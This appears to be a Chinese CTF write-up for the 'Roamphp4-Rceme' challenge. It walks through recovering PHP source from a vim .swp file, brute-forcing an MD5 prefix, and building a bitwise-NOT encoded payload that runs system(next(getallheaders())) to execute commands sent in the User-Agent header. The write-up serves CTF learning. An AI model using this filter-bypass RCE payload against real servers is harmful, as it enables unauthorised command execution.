[极客大挑战 2020]Roamphp4-Rceme

img

进入题目,可以看到,大概意思就是如果code的md5值前5位是3e16b,那么就会执行命令

这边给出一个md5生成脚本

1
2
3
4
5
6
7
8
import hashlib

i = 0
while True:
if hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:5] == '0e788':
print(i)
break
i = i + 1

查看源码,发现提示

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
vim swp,.swp文件是vim使用不当而生成的一个文件,这种文件一般都是“坏的”,查看原来内容需要vim -r
要直接用 Vim 打开一个 .swp 文件,你可以采取以下步骤。一般情况下,.swp 文件是二进制文件,直接编辑它并不常见,但你可能会希望查看其内容。

1. 打开 .swp 文件
你可以用 vim 命令直接打开 .swp 文件。例如:
vim example.txt.swp

2. 使用 :recover 命令恢复文件
如果你的目的是从交换文件中恢复数据,可以使用 :recover 命令。假设你有一个交换文件 example.txt.swp,你可以这样做:
vim -r example.txt

3. 手动打开 .swp 文件查看内容
如果你只想查看 .swp 文件的内容,尽管它是二进制文件,你可以使用 Vim 的二进制模式来查看。注意,这不是常见操作,而且通常不会有很好的阅读体验,但可以帮助你检查交换文件的一些细节。步骤如下:
vim -b example.txt.swp

在 Vim 中,使用以下命令可以切换到十六进制模式,这样你可以更方便地查看二进制内容:
:%!xxd

要返回普通模式,可以使用:
:%!xxd -r

4. 使用 xxd 查看 .swp 文件
你也可以使用 xxd 命令来查看 .swp 文件的内容:
xxd example.txt.swp | less
这会将 .swp 文件转换为十六进制显示,便于查看。

5. 确定如何处理 .swp 文件
大多数情况下,你需要根据 Vim 的提示来决定如何处理 .swp 文件。例如,当你尝试打开一个文件时,Vim 会提示交换文件已经存在,并给出几种处理选项:

O: 只读打开文件。
E: 继续编辑文件,忽略交换文件。
R: 恢复文件,尝试从交换文件中恢复数据。
D: 删除交换文件,通常在确认没有其他 Vim 实例在编辑该文件时使用。
Q: 退出,不进行任何操作。
A: 中止操作,类似于退出。
选择适当的选项,处理交换文件后再继续编辑主文件。

通过这些方法,你可以用 Vim 打开和查看 .swp 文件。要特别注意的是,.swp 文件主要用于 Vim 的数据恢复,所以一般不建议直接编辑它们,而是通过恢复和处理的方式进行操作。

然后,我们直接访问/.index.php.swp

img

在kali中打开 vim -r index.php.swp

img

源码如上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
substr(md5(mt_rand() . sha1(mt_rand())), 0, 5) 是一段 PHP 代码,用于生成一个长度为 5 的随机字符串。下面是这段代码的具体解析:

mt_rand():

mt_rand() 是一个生成随机整数的函数,基于 Mersenne Twister 算法,比 rand() 更快并且提供更高的随机性。
该函数会返回一个介于 0 和 RAND_MAX 之间的随机整数。
sha1(mt_rand()):

生成一个随机整数,然后计算其 SHA-1 哈希值。
SHA-1 哈希值是一个 40 字符的十六进制字符串。
连接随机值和 SHA-1 哈希值:

mt_rand() . sha1(mt_rand()) 生成两个随机整数,并将它们的值连接起来。
md5():

对连接后的字符串计算其 MD5 哈希值。
MD5 哈希值是一个 32 字符的十六进制字符串。
substr():

从生成的 MD5 哈希值中提取前 5 个字符。
组合起来,代码的具体执行顺序如下:

调用 mt_rand() 生成一个随机整数。
调用 sha1() 生成另一个随机整数的 SHA-1 哈希值。
将这两个值连接起来形成一个字符串。
计算这个字符串的 MD5 哈希值。
从 MD5 哈希值中提取前 5 个字符。
因此,代码的作用是生成一个相对随机的 5 字符长的字符串

可以看到进行了长度限制和过滤,并且那个md5值也在变化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
前置知识:

('phpinfo')()
['phpinfo'][0]()
['phpinfo']{0}()
效果作用是一样的。

phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF]();
加这个[~%FF]只是因为php7的解析方式,当然换成其他的也可以例如[~%EF] [~%CF]

getallheaders() 获取所有 HTTP 头信息,返回一个关联数组。
next() 试图将数组的内部指针移动到下一个元素,并返回该元素的值。

假设 HTTP 头包含以下信息:
Array
(
[Host] => example.com
[User-Agent] => Mozilla/5.0
[Accept] => text/html
[Connection] => keep-alive
)
当你执行 next(getallheaders()) 时:

<?php
$headers = getallheaders(); // 获取所有 HTTP 头信息
$nextHeader = next($headers); // 将指针移动到下一个元素,并返回该元素的值
echo $nextHeader;
?>
在这个示例中,$nextHeader 将包含 Mozilla/5.0,因为这是数组中的第二个元素。

因为UA是可控的,所以一般在UA进行RCE

然后,我们抓包看一下

img

在第二位,所以构造语句拿到http头,并且执行在UA中的命令

1
即:system(next(getallheaders()))

然后,进行取反绕过

1
[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

img

查看效果

img

然后,直接cat /flll1114gggggg

img

参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html